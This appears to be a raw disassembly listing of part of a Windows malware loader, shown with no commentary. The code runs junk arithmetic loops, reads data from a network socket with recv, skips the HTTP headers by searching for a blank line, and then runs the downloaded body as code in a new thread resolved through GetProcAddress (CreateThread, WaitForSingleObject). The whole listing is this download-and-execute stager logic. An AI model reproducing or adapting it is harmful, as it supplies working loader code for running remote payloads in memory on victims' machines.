mov eax, dword [ebp - 0x158]
add eax, edx
fabs
fstp qword [eax]
cmp dword [ebp - 0x60], 0x288
jle 0x402657
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x68], 1
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x15c], 0x239
jmp 0x402705
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x68]
add eax, edx
mov dword [ebp - 0x178], eax
add dword [ebp - 0x6c], 1
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x6c]
cmp eax, dword [ebp - 0x15c]
jl 0x4026e4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov eax, dword [ebp - 0x5c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x13c]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x160]
add dword [ebp - 0x5c], eax
cmp dword [ebp - 0x160], 0
jg 0x402710
mov eax, dword [ebp - 0x13c]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [ebp - 0x134]
call eax
mov dword [esp + 4], str._r_n_r_n
mov eax, dword [ebp - 0x154]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
add eax, 4
mov dword [ebp - 0x154], eax
mov dword [esp + 4], str.CreateThread
mov eax, dword [ebp - 0x128]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x164], eax
lea eax, [ebp - 0x1bc]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x154]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [ebp - 0x164]
call eax
sub esp, 0x18
mov dword [ebp - 0x168], eax
mov dword [esp + 4], str.WaitForSingleObject
mov eax, dword [ebp - 0x128]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x70], 0xffffffff
mov dword [esp], 0x1d18
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x170], eax
add dword [ebp - 0x70], 1
call sub.msvcrt.dll_rand
mov dword [ebp - 0x4f0], eax
fild dword [ebp - 0x4f0]
mov eax, dword [ebp - 0x70]
lea edx, [eax*8]
mov eax, dword [ebp - 0x170]
add eax, edx
fld qword [0x405268]
fdivp st(1)
fstp qword [eax]
mov eax, dword [ebp - 0x70]
lea edx, [eax*8]
mov eax, dword [ebp - 0x170]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x70]
lea edx, [eax*8]
mov eax, dword [ebp - 0x170]
lea ebx, [edx + eax]
fstp qword [esp]
call sub.msvcrt.dll_atan
fstp qword [ebx]
cmp dword [ebp - 0x70], 0x3a1
jle 0x40282b
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x168]
mov dword [esp], eax
mov eax, dword [ebp - 0x16c]
call eax
sub esp, 8
mov dword [ebp - 0x174], eax
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret